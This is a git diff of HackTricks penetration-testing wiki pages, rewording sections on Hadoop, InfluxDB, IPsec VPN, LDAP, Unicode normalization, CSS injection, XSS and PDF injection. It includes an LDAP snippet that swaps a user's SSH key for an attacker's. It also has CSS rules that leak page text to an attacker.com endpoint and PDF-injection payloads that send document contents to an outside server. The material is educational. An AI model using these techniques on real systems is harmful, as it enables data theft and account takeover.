-**Information taken from the book** [**Network Security Assesment 3rd Edition**](https://www.amazon.com/Network-Security-Assessment-Know-Your-ebook/dp/B01N6E0BG2) - # **Basic Information** -Apache Hadoop is an open source framework supporting the distributed storage and processing of large datasets using computer clusters. Storage is handled by the Hadoop Distributed File System (HDFS) and processing is performed by using MapReduce and other applications (e.g., Apache Storm, Flink, and Spark) via YARN. +Apache Hadoop is an open-source framework for distributed storage and processing of large datasets across computer clusters, primarily using the Hadoop Distributed File System (HDFS) for storage and MapReduce, along with other applications like Apache Storm, Flink, and Spark, for processing via YARN. To interact with these services, a set of Nmap scripts is available, each associated with a specific port and purpose, although it's noted that Hadoop lacks support in the Metasploit framework at the time of documentation. -![](<../.gitbook/assets/image (139).png>) +- **Nmap Scripts for Hadoop**: + - **`hadoop-jobtracker-info (Port 50030)`** + - **`hadoop-tasktracker-info (Port 50060)`** + - **`hadoop-namenode-info (Port 50070)`** + - **`hadoop-datanode-info (Port 50075)`** + - **`hadoop-secondary-namenode-info (Port 50090)`** -Figure 15-1. Hadoop 2.0 architecture - -You can query MapReduce and HDFS services by using the Nmap scripts listed in the following table (including details of the default ports). At the time of writing, Metasploit does not support Hadoop. - -| **Script name** | **Port** | **Purpose** | -| ------------------------------ | -------- | ----------------------------------------------------------------- | -| hadoop-jobtracker-info | 50030 | Retrieve information from MapReduce job and task tracker services | -| hadoop-tasktracker-info | 50060 | | -| hadoop-namenode-info | 50070 | Retrieve info from HDFS name node | -| hadoop-datanode-info | 50075 | Retrieve info from HDFS data node | -| hadoop-secondary-namenode-info | 50090 | Retrieve info from HDFS secondary name node | - -Lightweight Python and Go HDFS clients are available online. Hadoop runs without authentication by default. You can configure HDFS, YARN, and MapReduce services to use Kerberos. +It's crucial to note that **Hadoop operates without authentication in its default setup**. However, for enhanced security, configurations are available to integrate Kerberos with HDFS, YARN, and MapReduce services.
diff --git a/network-services-pentesting/8086-pentesting-influxdb.md b/network-services-pentesting/8086-pentesting-influxdb.md index acff0f521..c4887faf9 100644 --- a/network-services-pentesting/8086-pentesting-influxdb.md +++ b/network-services-pentesting/8086-pentesting-influxdb.md @@ -78,7 +78,7 @@ _internal #### Show tables/measurements -As the [**InfluxDB documentation**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting\_started/) explains, SQL **measurements** can be thought of as SQL tables. As the **measurement** names above suggest, each one contains information which pertains to a specific entity +The [**InfluxDB documentation**](https://docs.influxdata.com/influxdb/v1.2/introduction/getting_started/) explains that **measurements** in InfluxDB can be paralleled with SQL tables. The nomenclature of these **measurements** is indicative of their respective content, each housing data relevant to a particular entity. ```bash > show measurements diff --git a/network-services-pentesting/ipsec-ike-vpn-pentesting.md b/network-services-pentesting/ipsec-ike-vpn-pentesting.md index 1e9984b17..948e7802a 100644 --- a/network-services-pentesting/ipsec-ike-vpn-pentesting.md +++ b/network-services-pentesting/ipsec-ike-vpn-pentesting.md @@ -247,28 +247,40 @@ If you found one or several valid transforms just use them like in the previous ## Authentication with an IPSEC VPN -In Kali **VPNC** is used to establish IPsec tunnels. **Profiles** have to be located in _**/etc/vpnc/**_ and you can use the tool _**vpnc**_ to call them.\ -Example taken from the book **Network Security Assessment 3rd Edition**: +In Kali, **VPNC** is utilized to establish IPsec tunnels. The **profiles** must be located in the directory `/etc/vpnc/`. You can initiate these profiles using the command _**vpnc**_. -``` -root@kali:~# cat > /etc/vpnc/vpntest.conf << STOP -IPSec gateway 10.0.0.250 -IPSec ID vpntest -IPSec secret groupsecret123 +The following commands and configurations illustrate the process of setting up a VPN connection with VPNC: + +```bash +root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP +IPSec gateway [VPN_GATEWAY_IP] +IPSec ID [VPN_CONNECTION_ID] +IPSec secret [VPN_GROUP_SECRET] IKE Authmode psk -Xauth username chris -Xauth password tiffers1 +Xauth username [VPN_USERNAME] +Xauth password [VPN_PASSWORD] STOP -root@kali:~# vpnc vpntest -VPNC started in background (pid: 6980)... -root@kali:~# ifconfig tun0 +root@system:~# vpnc samplevpn +VPNC started in background (pid: [PID])... +root@system:~# ifconfig tun0 ``` +In this setup: + +- Replace `[VPN_GATEWAY_IP]` with the actual IP address of the VPN gateway. +- Replace `[VPN_CONNECTION_ID]` with the identifier for the VPN connection. +- Replace `[VPN_GROUP_SECRET]` with the VPN's group secret. +- Replace `[VPN_USERNAME]` and `[VPN_PASSWORD]` with the VPN authentication credentials. +- `[PID]` symbolizes the process ID that will be assigned when `vpnc` initiates. + +Ensure that actual, secure values are used to replace the placeholders when configuring the VPN. + ## Reference Material * [PSK cracking paper](http://www.ernw.de/download/pskattack.pdf) * [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821) * [Scanning a VPN Implementation](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf) +* Network Security Assessment 3rd Edition ## Shodan diff --git a/network-services-pentesting/pentesting-ldap.md b/network-services-pentesting/pentesting-ldap.md index 0527c7675..a128e21ee 100644 --- a/network-services-pentesting/pentesting-ldap.md +++ b/network-services-pentesting/pentesting-ldap.md @@ -16,19 +16,18 @@ Other ways to support HackTricks: ## Basic Information -Extracted from: [https://searchmobilecomputing.techtarget.com/definition/LDAP](https://searchmobilecomputing.techtarget.com/definition/LDAP) +LDAP (Lightweight Directory Access Protocol) is primarily utilized for the **location** of entities like organizations, individuals, and various **resources** (e.g., files, devices) within a network. This can be on a public platform like the Internet or within a private intranet. As a streamlined version of the Directory Access Protocol (DAP), LDAP involves a reduced code footprint. -LDAP (Lightweight Directory Access Protocol) is a software protocol for enabling anyone to **locate** organizations, individuals, and other **resources** such as files and devices in a network, whether on the public Internet or on a corporate intranet. LDAP is a "lightweight" (smaller amount of code) version of Directory Access Protocol (DAP). +The structure of an LDAP directory permits its distribution across multiple servers. On each of these servers, a **replicated** form of the entire directory exists and is **synchronized** at regular intervals. In this context, an LDAP server is referred to as a Directory System Agent (DSA). When a user sends a request to an LDAP server, the server assumes full responsibility for that request. This involves communicating with other DSAs if necessary, but importantly, it ensures that the user receives a single, cohesive response. -An LDAP directory can be **distributed** among many servers. Each server can have a **replicated** version of the total directory that is **synchronized** periodically. An LDAP server is called a Directory System Agent (DSA). An LDAP server that receives a request from a user takes responsibility for the request, passing it to other DSAs as necessary, but ensuring a single coordinated response for the user. +The organization of an LDAP directory is akin to a straightforward "tree" hierarchy, which includes several levels: -An LDAP directory is organized in a simple "tree" hierarchy consisting of the following levels: +- The highest level is the root directory, which acts as the tree's origin or source. + - This branches out to the next level, countries. + - Each country further divides into organizations. + - Organizations branch into organizational units. These units can represent different divisions or departments. + - The final level includes individual entities. This encompasses not just people but also shared resources like files and printers. -* The root directory (the starting place or the source of the tree), which branches out to -* Countries, each of which branches out to -* Organizations, which branch out to -* Organizational units (divisions, departments, and so forth), which branches out to (includes an entry for) -* Individuals (which includes people, files, and shared resources such as printers) **Default port:** 389 and 636(ldaps). Global Catalog (LDAP in ActiveDirectory) is available by default on ports 3268, and 3269 for LDAPS. @@ -81,6 +80,7 @@ phone: 23627387495 Note that if you can modify values you could be able to perform really interesting actions. For example, imagine that you **can change the "sshPublicKey" information** of your user or any user. It's highly probable that if this attribute exist, then **ssh is reading the public keys from LDAP**. If you can modify the public key of a user you **will be able to login as that user even if password authentication is not enabled in ssh**. ```bash +# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/ >>> import ldap3 >>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True) >>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True) @@ -91,8 +91,6 @@ u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN' >>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]}) ``` -Example taken from: [https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/](https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/) - ## Sniff clear text credentials If LDAP is used without SSL you can **sniff credentials in plain text** in the network. diff --git a/pentesting-web/unicode-injection/unicode-normalization.md b/pentesting-web/unicode-injection/unicode-normalization.md index 978c5e9da..8015b7725 100644 --- a/pentesting-web/unicode-injection/unicode-normalization.md +++ b/pentesting-web/unicode-injection/unicode-normalization.md @@ -14,27 +14,36 @@ Other ways to support HackTricks:
-## Background +**This is a summary of: [https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/)**. Check a look for further details (images taken form there). -Normalization ensures two strings that may use a different binary representation for their characters have the same binary value after normalization. -There are two overall types of equivalence between characters, “**Canonical Equivalence**” and “**Compatibility Equivalence**”:\ -**Canonical Equivalent** characters are assumed to have the same appearance and meaning when printed or displayed. **Compatibility Equivalence** is a weaker equivalence, in that two values may represent the same abstract character but can be displayed differently. There are **4 Normalization algorithms** defined by the **Unicode** standard; **NFC, NFD, NFKD and NFKD**, each applies Canonical and Compatibility normalization techniques in a different way. You can read more on the different techniques at Unicode.org. +## Understanding Unicode and Normalization -### Unicode Encoding +Unicode normalization is a process that ensures different binary representations of characters are standardized to the same binary value. This process is crucial in dealing with strings in programming and data processing. The Unicode standard defines two types of character equivalence: -Although Unicode was in part designed to solve interoperability issues, the evolution of the standard, the need to support legacy systems and different encoding methods can still pose a challenge.\ -Before we delve into Unicode attacks, the following are the main points to understand about Unicode: +1. **Canonical Equivalence**: Characters are considered canonically equivalent if they have the same appearance and meaning when printed or displayed. +2. **Compatibility Equivalence**: A weaker form of equivalence where characters may represent the same abstract character but can be displayed differently. + +There are **four Unicode normalization algorithms**: NFC, NFD, NFKC, and NFKD. Each algorithm employs canonical and compatibility normalization techniques differently. For a more in-depth understanding, you can explore these techniques on [Unicode.org](https://unicode.org/). + +### Key Points on Unicode Encoding + +Understanding Unicode encoding is pivotal, especially when dealing with interoperability issues among different systems or languages. Here are the main points: + +- **Code Points and Characters**: In Unicode, each character or symbol is assigned a numerical value known as a "code point". +- **Bytes Representation**: The code point (or character) is represented by one or more bytes in memory. For instance, LATIN-1 characters (common in English-speaking countries) are represented using one byte. However, languages with a larger set of characters need more bytes for representation. +- **Encoding**: This term refers to how characters are transformed into a series of bytes. UTF-8 is a prevalent encoding standard where ASCII characters are represented using one byte, and up to four bytes for other characters. +- **Processing Data**: Systems processing data must be aware of the encoding used to correctly convert the byte stream into characters. +- **Variants of UTF**: Besides UTF-8, there are other encoding standards like UTF-16 (using a minimum of 2 bytes, up to 4) and UTF-32 (using 4 bytes for all characters). + +It's crucial to comprehend these concepts to effectively handle and mitigate potential issues arising from Unicode's complexity and its various encoding methods. -* Each character or symbol is mapped to a numerical value which is referred to as a “code point”. -* The code point value (and therefore the character itself) is represented by 1 or more bytes in memory. LATIN-1 characters like those used in English speaking countries can be represented using 1 byte. Other languages have more characters and need more bytes to represent all the different code points (also since they can’t use the ones already taken by LATIN-1). -* The term “encoding” means the method in which characters are represented as a series of bytes. The most common encoding standard is UTF-8, using this encoding scheme ASCII characters can be represented using 1 byte or up to 4 bytes for other characters. -* When a system processes data it needs to know the encoding used to convert the stream of bytes to characters. -* Though UTF-8 is the most common, there are similar encoding standards named UTF-16 and UTF-32, the difference between each is the number of bytes used to represent each character. i.e. UTF-16 uses a minimum of 2 bytes (but up to 4) and UTF-32 using 4 bytes for all characters. An example of how Unicode normalise two different bytes representing the same character: -![](<../../.gitbook/assets/image (156).png>) +```python +unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9") +``` **A list of Unicode equivalent characters can be found here:** [https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html](https://appcheck-ng.com/wp-content/uploads/unicode\_normalization.html) and [https://0xacb.com/normalization\_table](https://0xacb.com/normalization\_table) @@ -52,7 +61,7 @@ Imagine a web page that is using the character `'` to create SQL queries with th Then, a malicious user could insert a different Unicode character equivalent to `' (0x27)` like `%ef%bc%87` , when the input gets normalised, a single quote is created and a **SQLInjection vulnerability** appears: -![](<../../.gitbook/assets/image (157) (1).png>) +![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (157) (1).png>) **Some interesting Unicode characters** @@ -90,11 +99,11 @@ Then, a malicious user could insert a different Unicode character equivalent to You could use one of the following characters to trick the webapp and exploit a XSS: -![](<../../.gitbook/assets/image (312) (1).png>) +![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (312) (1).png>) Notice that for example the first Unicode character purposed can be sent as: `%e2%89%ae` or as `%u226e` -![](<../../.gitbook/assets/image (215) (1).png>) +![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (215) (1).png>) ### Fuzzing Regexes @@ -102,12 +111,8 @@ When the backend is **checking user input with a regex**, it might be possible t The tool [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* allows to **generate variation of the input** to fuzz the backend. Fore more info check the **github** and this [**post**](https://0xacb.com/2022/11/21/recollapse/). -## References - -**All the information of this page was taken from:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/#**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/) - -**Other references:** +# References * [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/) * [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work) * [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html) diff --git a/pentesting-web/xs-search/css-injection/README.md b/pentesting-web/xs-search/css-injection/README.md index e6e0d6393..73bb3a7e2 100644 --- a/pentesting-web/xs-search/css-injection/README.md +++ b/pentesting-web/xs-search/css-injection/README.md @@ -18,7 +18,7 @@ Other ways to support HackTricks: ### Attribute Selector -The main technique to exfiltrate information via CSS Injection is to try to **match a text with CSS** and in case that **text exist** **load some external resource, like:** +CSS selectors are crafted to match values of an `input` element's `name` and `value` attributes. If the input element's value attribute starts with a specific character, a predefined external resource is loaded: ```css input[name=csrf][value^=a]{ @@ -33,8 +33,11 @@ input[name=csrf][value^=9]{ } ``` -However, note that this technique won't work if, in the example, the **csrf name input** is of **type hidden** (and they usually are), because the background won't be loaded.\ -However, you can **bypass** this impediment by, instead of making the hidden element load a background, **just make anything after it load the background:** +However, this approach faces a limitation when dealing with hidden input elements (`type="hidden"`) because hidden elements do not load backgrounds. + +#### Bypass for Hidden Elements + +To circumvent this limitation, you can target a subsequent sibling element using the `~` general sibling combinator. The CSS rule then applies to all siblings following the hidden input element, causing the background image to load: ```css input[name=csrf][value^=csrF] ~ * { @@ -42,13 +45,15 @@ input[name=csrf][value^=csrF] ~ * { } ``` -Some code example to exploit this: [https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e) +A practical example of exploiting this technique is detailed in the provided code snippet. You can view it [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e). -#### Prerequisites +#### Prerequisites for CSS Injection -1. The CSS injection needs to allow for sufficiently long payloads -2. Ability to **frame the page to trigger CSS re-evaluation of newly generated payloads** -3. Ability to use **externally hosted images** (could be blocked by CSP) +For the CSS Injection technique to be effective, certain conditions must be met: + +1. **Payload Length**: The CSS injection vector must support sufficiently long payloads to accommodate the crafted selectors. +2. **CSS Re-evaluation**: You should have the ability to frame the page, which is necessary to trigger the re-evaluation of CSS with newly generated payloads. +3. **External Resources**: The technique assumes the ability to use externally hosted images. This might be restricted by the site's Content Security Policy (CSP). ### Blind Attribute Selector @@ -127,7 +132,7 @@ Other ways to access DOM parts with **CSS selectors**: **Reference:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234) -Basically the main idea is to **use a custom font from an endpoint controlled by us** in a **text that will be showed only if the resource can not be loaded**. +The overall intention is to **use a custom font from a controlled endpoint** and ensure that **text (in this case, 'A') is displayed with this font only if the specified resource (`favicon.ico`) cannot be loaded**. ```html @@ -136,7 +141,7 @@ Basically the main idea is to **use a custom font from an endpoint controlled by -``` -{% endcode %} +For mitigation, the following points should be noted: -with the scroll-to-text fragment: **`#:~:text=Administrator`** +1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF) is designed to match only words or sentences, thereby limiting its capability to leak arbitrary secrets or tokens. +2. **Restriction to Top-level Browsing Contexts**: STTF operates solely in top-level browsing contexts and does not function within iframes, making any exploitation attempt more noticeable to the user. +3. **Necessity of User Activation**: STTF requires a user-activation gesture to operate, meaning exploitations are feasible only through user-initiated navigations. This requirement considerably mitigates the risk of attacks being automated without user interaction. Nevertheless, the blog post's author points out specific conditions and bypasses (e.g., social engineering, interaction with prevalent browser extensions) that might ease the attack's automation. -If the word Administrator is found, the indicated resource will be loaded. - -There are three main mitigations: - -1. **STTF can match only words or sentences on a web page**, theoretically making it impossible to leak random secrets or tokens (unless we break down the secret in one-letter paragraphs). -2. It is **restricted to top-level browsing contexts**, so it won’t work in an iframe, making the attack **visible to the victim**. -3. **User-activation gesture is needed for STTF to work**, so only navigations that are a result of user actions are exploitable, which greatly decreases the possibility to automate the attack without user interaction. However, there are certain conditions that the author of the above blog post discovered that facilitate the automation of the attack. Another, similar case, will be presented in PoC#3. - 1. There are some **bypasses** for this like **social engineering**, or **forcing common browser extensions to interact**. +Awareness of these mechanisms and potential vulnerabilities is key for maintaining web security and safeguarding against such exploitative tactics. For more information check the original report: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/) @@ -229,27 +234,33 @@ When you access this page, Chrome and Firefox fetch "?A" and "?B" because text n **Reference:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/) -We can extract the text contained in a node with a technique that combines **font ligatures** and the **detection of width changes**. The main idea behind this technique is the creation of fonts that contains a predefined ligature with **high size** and the usage of **size changes as oracle**. +The technique described involves extracting text from a node by exploiting font ligatures and monitoring changes in width. The process involves several steps: -The fonts can be created as SVG fonts and then converted to woff with fontforge. In SVG we can define the width of a glyph via **horiz-adv-x** attribute, so we can build something like ``, being **XY a sequence of two chars**. **If the sequence exists, it will be rendered and the size of the text will change**. But… how can we detect these changes? +1. **Creation of Custom Fonts**: + - SVG fonts are crafted with glyphs having a `horiz-adv-x` attribute, which sets a large width for a glyph representing a two-character sequence. + - Example SVG glyph: ``, where "XY" denotes a two-character sequence. + - These fonts are then converted to woff format using fontforge. -When the attribute white-space is defined as **nowrap** it forces the text to do not break when it exceeds the parent’s width. In this situation, an **horizontal scrollbar will appear**. And we can **define the style of that scrollbar**, so we can leak when this happens **:)** +2. **Detection of Width Changes**: + - CSS is used to ensure that text does not wrap (`white-space: nowrap`) and to customize the scrollbar style. + - The appearance of a horizontal scrollbar, styled distinctly, acts as an indicator (oracle) that a specific ligature, and hence a specific character sequence, is present in the text. + - The CSS involved: + ```css + body { white-space: nowrap }; + body::-webkit-scrollbar { background: blue; } + body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); } + ``` -```css -body { white-space: nowrap }; -body::-webkit-scrollbar { background: blue; } -body::-webkit-scrollbar:horizontal { background: url(http://ourendpoint.com/?leak); } -``` +3. **Exploit Process**: + - **Step 1**: Fonts are created for pairs of characters with substantial width. + - **Step 2**: A scrollbar-based trick is employed to detect when the large width glyph (ligature for a character pair) is rendered, indicating the presence of the character sequence. + - **Step 3**: Upon detecting a ligature, new glyphs representing three-character sequences are generated, incorporating the detected pair and adding a preceding or succeeding character. + - **Step 4**: Detection of the three-character ligature is carried out. + - **Step 5**: The process repeats, progressively revealing the entire text. -At this point the attack is clear: - -1. Create **fonts** for the combination of **two chars with huge width** -2. Detect the **leak via the scrollbar trick** -3. Using the first ligature leaked as base, create **new combinations of 3 chars** (adding before / after chars) -4. **Detect** the **3-chars ligature**. -5. Repeat until **leaking the whole text** - -We still needing an improved method to start the iteration because ` @@ -257,7 +268,12 @@ We still needing an improved method to start the iteration because ` -Exploit taken from [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/) +**Exploit taken from [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)** In this challenge the user could sent thousands of chars and if the flag was contained, the chars would be sent back to the bot. So putting a big amount of chars the attacker could measure if the flag was containing in the sent string or not. diff --git a/pentesting-web/xs-search/performance.now-example.md b/pentesting-web/xs-search/performance.now-example.md index 8c45b19cc..d7379da7e 100644 --- a/pentesting-web/xs-search/performance.now-example.md +++ b/pentesting-web/xs-search/performance.now-example.md @@ -12,7 +12,7 @@
-Example taken from [https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api) +**Example taken from [https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)** ```javascript const sleep = (ms) => new Promise((res) => setTimeout(res, ms)); diff --git a/pentesting-web/xss-cross-site-scripting/README.md b/pentesting-web/xss-cross-site-scripting/README.md index a789e406c..fdba0ccc1 100644 --- a/pentesting-web/xss-cross-site-scripting/README.md +++ b/pentesting-web/xss-cross-site-scripting/README.md @@ -500,7 +500,7 @@ and Now you can modify our link and bring it to the form -> \ +> \ This trick was taken from [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703) diff --git a/pentesting-web/xss-cross-site-scripting/pdf-injection.md b/pentesting-web/xss-cross-site-scripting/pdf-injection.md index dd4d5e1a6..7f76b253f 100644 --- a/pentesting-web/xss-cross-site-scripting/pdf-injection.md +++ b/pentesting-web/xss-cross-site-scripting/pdf-injection.md @@ -17,181 +17,7 @@ Other ways to support HackTricks: **If your input is being reflected inside a PDF file, you can try to inject PDF data to execute JavaScript or steal the PDF content.** -The following information was taken from [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration) - -## PDF-Lib - -This time, I was using [PDFLib](https://pdf-lib.js.org). I took some time to use the library to create an annotation and see if I could inject a closing parenthesis into the annotation URI - and it worked! The sample vulnerable code I used to generate the annotation code was: - -`...` \ -`A: {`\ - `Type: 'Action',`\ - `S: 'URI',`\ - ``URI: PDFString.of(`injection)`),``\ - `}`\ - `})`\ -`...` - -[Full code:](https://github.com/PortSwigger/portable-data-exfiltration/blob/main/PDF-research-samples/pdf-lib/first-injection/test.js) - -How did I know the injection was successful? The PDF would render correctly unless I injected a closing parenthesis. This proved that the closing parenthesis was breaking out of the string and causing invalid PDF code. Breaking the PDF was nice, but I needed to ensure I could execute JavaScript of course. I looked at the rendered PDF code and noticed the output was being encoded using the FlateDecode filter. I wrote a little script to deflate the block and the output of the annotation section looked like this:`<<`\ -`/Type /Annot`\ -`/Subtype /Link`\ -`/Rect [ 50 746.89 320 711.89 ]`\ -`/Border [ 0 0 2 ]`\ -`/C [ 0 0 1 ]`\ -`/A <<`\ -`/Type /Action`\ -`/S /URI`\ -`/URI (injection))`\ -`>>`\ -`>>` - -As you can clearly see, the injection string is closing the text boundary with a closing parenthesis, which leaves an existing closing parenthesis that causes the PDF to be rendered incorrectly: - -![Screenshot showing an error dialog when loading the PDF](https://portswigger.net/cms/images/34/f4/3ed2-article-screenshot-showing-damaged-pdf.png) - -Great, so I could break the rendering of the PDF, now what? I needed to come up with an injection that called some JavaScript - the alert(1) of PDF injection. - -Just like how XSS vectors depend on the browser's parsing, PDF injection exploitability can depend on the PDF renderer. I decided to start by targeting Acrobat because I thought the vectors were less likely to work in Chrome. Two things I noticed: 1) You could inject additional annotation actions and 2) if you repair the existing closing parenthesis then the PDF would render. After some experimentation, I came up with a nice payload that injected an additional annotation action, executed JavaScript, and repaired the closing parenthesis:`/blah)>>/A<>/>>(` - -First I break out of the parenthesis, then break out of the dictionary using >> before starting a new annotation dictionary. The /S/JavaScript makes the annotation JavaScript-based and the /JS is where the JavaScript is stored. Inside the parentheses is our actual JavaScript. Note that you don't have to escape the parentheses if they're balanced. Finally, I add the type of annotation, finish the dictionary, and repair the closing parenthesis. This was so cool; I could craft an injection that executed JavaScript but so what, right? You can execute JavaScript but you don't have access to the DOM, so you can't read cookies. Then James popped up and suggested stealing the contents of the PDF from the injection. I started looking at ways to get the contents of a PDF. In Acrobat, I discovered that you can use JavaScript to submit forms without any user interaction! Looking at the spec for the JavaScript API, it was pretty straightforward to modify the base injection and add some JavaScript that would send the entire contents of the PDF code to an external server in a POST request:`/blah)>>/A<>/>>(` - -The alert is not needed; I just added it to prove the injection was executing JavaScript. - -Next, just for fun, I looked at stealing the contents of the PDF without using JavaScript. From the PDF specification, I found out that you can use an action called SubmitForm. I used this in the past when I constructed a PDF for a scan check in Burp Suite. It does exactly what the name implies. It also has a Flags entry in the dictionary to control what is submitted. The Flags dictionary key accepts a single integer value, but each individual setting is controlled by a binary bit. A good way to work with these settings is using the new binary literals in ES6. The binary literal should be 14 bits long because there are 14 flags in total. In the following example, all of the settings are disabled:`0b00000000000000` - -To set a flag, you first need to look up its bit position (table 237 of the [PDF specification](https://www.adobe.com/content/dam/acom/en/devnet/pdf/pdfs/PDF32000\_2008.pdf)). In this case, we want to set the SubmitPDF flag. As this is controlled by the 9th bit, you just need to count 9 bits from the right:`0b00000100000000` - -If you evaluate this with JavaScript, this results in the decimal value 256. In other words, setting the Flags entry to 256 will enable the SubmitPDF flag, which causes the contents of the PDF to be sent when submitting the form. All we need to do is use the base injection we created earlier and modify it to call the SubmitForm action instead of JavaScript:`/blah)>>/A<>/>>(` - -## sPDF - -Next I applied my methodology to another PDF library - [jsPDF](https://parall.ax/products/jspdf) - and found it was vulnerable too. Exploiting this library was quite fun because they have an API that can execute in the browser and will allow you to generate the PDF in real time as you type. I noticed that, like the PDP-Lib library, they forgot to escape parentheses inside annotation URLs. Here the url property was vulnerable:`doc.createAnnotation({bounds:`\ -`{x:0,y:10,w:200,h:200},`\ -``type:'link',url:`/input`});``\ -`//vulnerable` - -So I generated a PDF using their API and injected PDF code into the url property: - -`var doc = new jsPDF();`\ -`doc.text(20, 20, 'Hello world!');`\ -`doc.addPage('a6','l');`\ -`doc.createAnnotation({bounds:`\ -`` {x:0,y:10,w:200,h:200},type:'link',url:` ``\ -`/blah)>>/A<>/A<> >>`\ -`<> >>`\ -``<>/(`});``\ -`doc.text(20, 20, 'Auto execute');` - -When you close the PDF, this annotation will fire:`var doc = new jsPDF();`\ -``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >>``\ -``<>/(`});``\ -`doc.text(20, 20, 'Close me');` - -## Chrome - -I've talked a lot about Acrobat but what about PDFium (Chrome's PDF reader)? Chrome is tricky; the attack surface is much smaller as its JavaScript support is more limited than Acrobat's. The first thing I noticed was that JavaScript wasn't being executed in annotations at all, so my proof of concepts weren't working. In order to get the vectors working in Chrome, I needed to at least execute JavaScript inside annotations. First though, I decided to try and overwrite a URL in an annotation. This was pretty easy. I could use the base injection I came up with before and simply inject another action with a URI entry that would overwrite the existing URL:`var doc = new jsPDF();`\ -``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/blah)>>/A<>/F 0>>(`});``\ -`doc.text(20, 20, 'Test text');` - -This would navigate to portswigger.net when clicked. Then I moved on and tried different injections to call JavaScript, but this would fail every time. I thought it was impossible to do. I took a step back and tried to manually construct an entire PDF that would call JavaScript from a click in Chrome without an injection. When using an AcroForm button, Chrome would allow JavaScript execution, but the problem was it required references to parts of the PDF. I managed to craft an injection that would execute JavaScript from a click on JSPDF:`var doc = new jsPDF();`\ -``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >> <>/Type/Annot/MK<>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<>>>/Parent <>/H/P/A<> >> 